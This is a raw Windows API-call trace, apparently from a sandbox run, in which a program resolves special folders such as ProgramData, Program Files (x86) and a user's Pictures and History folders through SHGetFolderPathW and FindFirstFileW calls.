lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0117.882] GetLastError () returned 0x12 [0117.882] FindClose (in: hFindFile=0x75a920 | out: hFindFile=0x75a920) returned 1 [0117.882] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\Public", len=0xf | out: pbstr=0x28f578*="c:\\Users\\Public") returned 1 [0117.882] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users\\Public", psz="c:\\Users\\Public\\", len=0x10 | out: pbstr=0x28f8bc*="c:\\Users\\Public\\") returned 1 [0117.882] SysReAllocStringLen (in: pbstr=0x28f584*="public", psz="documents", len=0x9 | out: pbstr=0x28f584*="documents") returned 1 [0117.882] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\documents", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0x75a920 [0117.883] FindNextFileW (in: hFindFile=0x75a920, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0117.883] GetLastError () returned 0x12 [0117.883] FindClose (in: hFindFile=0x75a920 | out: hFindFile=0x75a920) returned 1 [0117.883] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\Public\\", psz="c:\\Users\\Public\\Documents", len=0x19 | out: pbstr=0x28f578*="c:\\Users\\Public\\Documents") returned 1 [0117.883] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents", psz="c:\\Users\\Public\\Documents\\", len=0x1a | out: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents\\") returned 1 [0117.883] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\Public\\Documents\\", len=0x1a | out: pbstr=0x28f574*="c:\\Users\\Public\\Documents\\") returned 1 [0117.883] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents\\", psz="c:\\Users\\Public\\Documents", len=0x19 | out: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents") returned 1 [0117.883] SysReAllocStringLen (in: pbstr=0x28f8c0*=0x0, psz="c:\\Users\\Public\\Documents", len=0x19 | out: pbstr=0x28f8c0*="c:\\Users\\Public\\Documents") returned 1 [0117.884] SysReAllocStringLen (in: pbstr=0x460600*=0x0, psz="c:\\Users\\Public\\Documents\\", len=0x1a | out: pbstr=0x460600*="c:\\Users\\Public\\Documents\\") returned 1 [0117.884] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0117.885] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)", cchLength=0x16 | out: lpsz="c:\\program files (x86)") returned 0x16 [0117.885] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\program files (x86)", len=0x16 | out: pbstr=0x470638*="c:\\program files (x86)") returned 1 [0117.885] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.885] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x47065c*="program files (x86)") returned 1 [0117.886] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="program files (x86)", cchWideChar=19, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="program files (x86)", lpUsedDefaultChar=0x0) returned 19 [0117.886] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.886] SysReAllocStringLen (in: pbstr=0x28f8b0*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8b0*="c:\\") returned 1 [0117.886] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x28f584*="program files (x86)") returned 1 [0117.886] FindFirstFileW (in: lpFileName="c:\\program files (x86)", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0x75aab0 [0117.886] FindNextFileW (in: hFindFile=0x75aab0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0 [0117.886] GetLastError () returned 0x12 [0117.886] FindClose (in: hFindFile=0x75aab0 | out: hFindFile=0x75aab0) returned 1 [0117.886] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f578*="c:\\Program Files (x86)") returned 1 [0117.886] SysReAllocStringLen (in: pbstr=0x28f8b0*="c:\\Program Files (x86)", psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x28f8b0*="c:\\Program Files (x86)\\") returned 1 [0117.887] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x28f574*="c:\\Program Files (x86)\\") returned 1 [0117.887] SysReAllocStringLen (in: pbstr=0x28f8b0*="c:\\Program Files (x86)\\", psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f8b0*="c:\\Program Files (x86)") returned 1 [0117.887] SysReAllocStringLen (in: pbstr=0x28f8b4*=0x0, psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f8b4*="c:\\Program Files (x86)") returned 1 [0117.887] SysReAllocStringLen (in: pbstr=0x460604*=0x0, psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x460604*="c:\\Program Files (x86)\\") returned 1 [0117.887] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\ProgramData") returned 0x0 [0117.889] CharLowerBuffW (in: lpsz="C:\\ProgramData", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0117.889] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x470638*="c:\\programdata") returned 1 [0117.889] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.890] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="programdata", len=0xb | out: pbstr=0x47065c*="programdata") returned 1 [0117.890] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataes (x86)", lpUsedDefaultChar=0x0) returned 11 [0117.890] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.890] SysReAllocStringLen (in: pbstr=0x28f8a4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8a4*="c:\\") returned 1 [0117.890] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f584*="programdata") returned 1 [0117.890] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x75ac68 [0117.890] FindNextFileW (in: hFindFile=0x75ac68, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0117.890] GetLastError () returned 0x12 [0117.890] FindClose (in: hFindFile=0x75ac68 | out: hFindFile=0x75ac68) returned 1 [0117.890] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f578*="c:\\ProgramData") returned 1 [0117.891] SysReAllocStringLen (in: pbstr=0x28f8a4*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f8a4*="c:\\ProgramData\\") returned 1 [0117.891] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f574*="c:\\ProgramData\\") returned 1 [0117.891] SysReAllocStringLen (in: pbstr=0x28f8a4*="c:\\ProgramData\\", psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f8a4*="c:\\ProgramData") returned 1 [0117.891] SysReAllocStringLen (in: pbstr=0x28f8a8*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f8a8*="c:\\ProgramData") returned 1 [0117.891] SysReAllocStringLen (in: pbstr=0x460608*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x460608*="c:\\ProgramData\\") returned 1 [0117.891] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 0x0 [0117.892] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Common Files", cchLength=0x23 | out: lpsz="c:\\program files (x86)\\common files") returned 0x23 [0117.892] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\program files (x86)\\common files", len=0x23 | out: pbstr=0x470638*="c:\\program files (x86)\\common files") returned 1 [0117.892] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.892] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x47065c*="program files (x86)") returned 1 [0117.892] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="common files", len=0xc | out: pbstr=0x47067c*="common files") returned 1 [0117.892] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="program files (x86)", cchWideChar=19, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="program files (x86)", lpUsedDefaultChar=0x0) returned 19 [0117.892] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="common files", cchWideChar=12, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="common filess (x86)", lpUsedDefaultChar=0x0) returned 12 [0117.892] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.892] SysReAllocStringLen (in: pbstr=0x28f898*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f898*="c:\\") returned 1 [0117.893] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x28f584*="program files (x86)") returned 1 [0117.893] FindFirstFileW (in: lpFileName="c:\\program files (x86)", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0x75b570 [0117.893] FindNextFileW (in: hFindFile=0x75b570, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0 [0117.893] GetLastError () returned 0x12 [0117.893] FindClose (in: hFindFile=0x75b570 | out: hFindFile=0x75b570) returned 1 [0117.893] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f578*="c:\\Program Files (x86)") returned 1 [0117.893] SysReAllocStringLen (in: pbstr=0x28f898*="c:\\Program Files (x86)", psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x28f898*="c:\\Program Files (x86)\\") returned 1 [0117.893] SysReAllocStringLen (in: pbstr=0x28f584*="program files (x86)", psz="common files", len=0xc | out: pbstr=0x28f584*="common files") returned 1 [0117.893] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\common files", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21b2430, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa21b2430, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 0x75b570 [0117.893] FindNextFileW (in: hFindFile=0x75b570, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21b2430, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa21b2430, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 0 [0117.893] GetLastError () returned 0x12 [0117.893] FindClose (in: hFindFile=0x75b570 | out: hFindFile=0x75b570) returned 1 [0117.894] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Program Files (x86)\\", psz="c:\\Program Files (x86)\\Common Files", len=0x23 | out: pbstr=0x28f578*="c:\\Program Files (x86)\\Common Files") returned 1 [0117.948] SysReAllocStringLen (in: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files", psz="c:\\Program Files (x86)\\Common Files\\", len=0x24 | out: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files\\") returned 1 [0117.949] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Program Files (x86)\\Common Files\\", len=0x24 | out: pbstr=0x28f574*="c:\\Program Files (x86)\\Common Files\\") returned 1 [0117.949] SysReAllocStringLen (in: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files\\", psz="c:\\Program Files (x86)\\Common Files", len=0x23 | out: pbstr=0x28f898*="c:\\Program Files (x86)\\Common Files") returned 1 [0117.949] SysReAllocStringLen (in: pbstr=0x28f89c*=0x0, psz="c:\\Program Files (x86)\\Common Files", len=0x23 | out: pbstr=0x28f89c*="c:\\Program Files (x86)\\Common Files") returned 1 [0117.949] SysReAllocStringLen (in: pbstr=0x46060c*=0x0, psz="c:\\Program Files (x86)\\Common Files\\", len=0x24 | out: pbstr=0x46060c*="c:\\Program Files (x86)\\Common Files\\") returned 1 [0117.949] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 0x0 [0117.951] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", cchLength=0x26 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\pictures") returned 0x26 [0117.951] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\pictures", len=0x26 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\pictures") returned 1 [0117.951] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.951] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.951] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.951] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="pictures", len=0x8 | out: pbstr=0x470688*="pictures") returned 1 [0117.951] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.951] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.951] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="pictures", cchWideChar=8, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pictures0js halpmcxz", lpUsedDefaultChar=0x0) returned 8 [0117.952] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.952] SysReAllocStringLen (in: pbstr=0x28f88c*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f88c*="c:\\") returned 1 [0117.952] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.952] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75b878 [0117.952] FindNextFileW (in: hFindFile=0x75b878, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.952] GetLastError () returned 0x12 [0117.952] FindClose (in: hFindFile=0x75b878 | out: hFindFile=0x75b878) returned 1 [0117.952] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.952] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f88c*="c:\\Users\\") returned 1 [0117.952] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.952] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75b878 [0117.952] FindNextFileW (in: hFindFile=0x75b878, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.952] GetLastError () returned 0x12 [0117.952] FindClose (in: hFindFile=0x75b878 | out: hFindFile=0x75b878) returned 1 [0117.953] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.953] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.953] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="pictures", len=0x8 | out: pbstr=0x28f584*="pictures") returned 1 [0117.953] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\pictures", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa19f5cb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa19f5cb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 0x75b8d0 [0117.953] FindNextFileW (in: hFindFile=0x75b8d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa19f5cb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa19f5cb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 0 [0117.953] GetLastError () returned 0x12 [0117.953] FindClose (in: hFindFile=0x75b8d0 | out: hFindFile=0x75b8d0) returned 1 [0117.953] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", len=0x26 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0117.953] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", len=0x27 | out: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned 1 [0117.953] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", len=0x27 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned 1 [0117.954] SysReAllocStringLen (in: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", len=0x26 | out: pbstr=0x28f88c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0117.954] SysReAllocStringLen (in: pbstr=0x28f890*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", len=0x26 | out: pbstr=0x28f890*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0117.954] SysReAllocStringLen (in: pbstr=0x460610*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", len=0x27 | out: pbstr=0x460610*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned 1 [0117.954] SHGetFolderPathW (in: hwnd=0x0, csidl=34, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x0 [0117.955] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", cchLength=0x45 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history") returned 0x45 [0117.955] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history", len=0x45 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history") returned 1 [0117.955] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.955] SysReAllocStringLen (in: 